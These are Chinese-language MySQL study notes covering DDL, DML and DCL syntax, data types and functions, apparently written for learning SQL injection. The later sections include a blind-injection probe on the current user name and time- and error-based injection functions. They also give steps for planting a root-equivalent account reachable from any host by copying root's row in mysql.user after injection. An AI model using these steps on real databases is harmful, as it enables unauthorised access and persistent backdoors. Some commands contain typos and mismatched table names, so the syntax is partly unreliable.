SQL:结构化查询语言(Structured Query Language)
SQL的功能:查询数据库、插入、更新、删除和查询数据库并返回结果。
SQL语言分类:
DDL 数据定义语言(Data Definition Language)
DML 数据操作语言(Data Manipulation Language)
DCL 数据控制语言(Data Control Language)
DDL:数据定义语言
功能:用于数据库、表、视图、函数、存储过程或其他对象的创建、删除或者修改的操作。
create 创建
alert 修改
drop 删除
创建数据库(指定默认字符集:default charset utf8):
create database test1 default charset utf8;
删除数据库:
drop database test1;
创建表:
create table user(uid int(11), uname varchar(255), passwd varchar(255));
查看表结构:
show create table user;
desc user;
删除表:
drop table user;
修改表(添加字段):
alter table user add column mobile bigint;
删除字段:
alter table user drop column mobile;
修改字段类型:
alter table user modify column passwd int;
修改字段顺序(修改uid为第一位):
alter table user change uid uid int(11) first;
修改uname为username,类型为varchar,放到uid后边(after指定字段位置):
alter table user change uname username varchar(32) after uid;
修改表名(user改为newuser):
alter table user rename newuser;
DML:数据操作语言
功能:主要是对表、视图等对象进行查询、插入、更新和删除操作。
select 查询
insert 插入
update 更新
delete 删除
在user表中插入一条记录:
insert into user(uid,username,passwd,regtime) values(1,'zhangsan','123465',20200916);
插入指定字段:
insert into user(uid,username) values(2,'lisi');
查看warning信息:
show warnings;
拷贝一张和user表命名为user2:
create table user2 as select * from user;
删除一条记录:
delete from user2 where username='lisi';
清空整张表:
delete from user2;
关联删除:
delete a,b from emp a,dept b where a.dept_no=b.dept_no and a.dept_no='d006';
复制user表中的数据插入到use2表中:
insert into user2 select * from user;
更新一条记录
update user2 set glod=1000 where uid=1;
正向排序
select * from user order by uid;
倒序:
select * from user order by uid desc;
限制前10行
select * from user order by 1 limit 10;
查找user表与user2中相同uid记录:
select *from user where uid in(select uid from user2);
关联查询inner join...on(内连接):
返回a,b表同时存在的uid的记录
select a.name,b.mobile from game_user a inner join game_user_ext b on a.uid=b.uid;
left join...on(左连接):
a表为左表,返回a全部数据以及对应在b表中的值
right join...on(右连接):
union联合查询(条件:两表字段相同)
select * from user union select * from user2;
查询mysql.user表(用户字典):
select host,user,password from mysql.user;
DCL:数据控制语言
功能:主要是DBA来管理权限使用的。注入的目标是提升权限,或者授权一个具有较高权限的临时账户。
授权(创建一个从任意IP登录的超级权限用户):
grant all privileges on *.* to admin@'%' identified by 'abc';
刷新权限:flush privileges;
验证:mysql -h 192.168.233.128 -uadmin -pabc
创建一个指定权限的用户
grant select,insert on *.* to admin2@'%' identified by 'abc';
刷新权限:flush privileges;
验证:同上
提升admin2的权限:
grant all privileges on *.* to admin2@'%';
时间日期类型:用于日期和时间的表示
包括date(日期型)、datetime(日期时间型)、timestamp(时间戳)、year(年)
创建时间日期类型表为testd:
create teble testb(d date,t time,dt datetime,ts timestamp default current_timestamp on update current_timestamp,y year);
获取当前时间:
select now();
插入当前时间:
insert into testd values(now(),now(),now(),now(),now());
字符类型
包括:char,varchar,binary(二进制),varbinary(可变长度二进制),blob,text(文本),enum(枚举),set(集合)
创建字符类型表:
create table testc(un char(3),un2 varchar(3),un3 binary(3),un4 varbinary(3));
插入一条记录:
insert into testc values('ba','ba','ba','ba');
enum和set:
create table testd(uname enum('a','b','c'),uname1 set('a','b','c'));
插入(只能插入创建时给出的值,enum插入一个,set可插入一个或多个):
insert into testd values('a','a,b');
查找(set)uname2中有‘b’的记录:
select * from testd where find_in_set('b',uname2);
注入语句(判断用户名)
select * from user where username='admin' and find_in_set(left(user(),1),'s,t,u,r')=4;
SQL注入提权后创建一个账户
创建一个任意登录的普通账户
insert into mysql.user(host,user,password) values('%','admin3',password('abc'));
刷新权限:flush privileges;
创建一个超级用户
拷贝root权限到临时表,在插入user表
create table tmp select * from mysql.user where user='root' limit 1;
select * from tmp;
update tmp set host='%',user='admin4',password=password('abc');
insert into mysql.user select * from tmp;
flush privileges;
字典库mysql信息
用户表:user 保存了主机,用户名和密码等重要信息
数据库权限:db 保存了对数据库级别的权限信息
字段权限表:columns_priv 保存了字段的详细权限分配信息
information_schema:
distinct 去除重复信息
select distinct table_schema from information_schema.tables;
相关函数:
user()/current_user()/session_user() 返回当前用户名
version() 数据库版本号
database() 当前数据库名
返回字符在字符串中的位置:
select position('@' in user())
select locate('@',user())
睡眠函数
select sleep(1);
压力测试函数:
select benchmark(5000000,md5('ba'));
随机函数:
select rand();
四舍五入取整:
select round(rand()*2);
向下取整:
select floor(rand()*2);
随机排序:
select * from users order by rand();
报错:
select count(*) floor(rand()*2) as a from users group by a;
select count(*) concat(user(),floor(rand()*2)) as a from users group by a;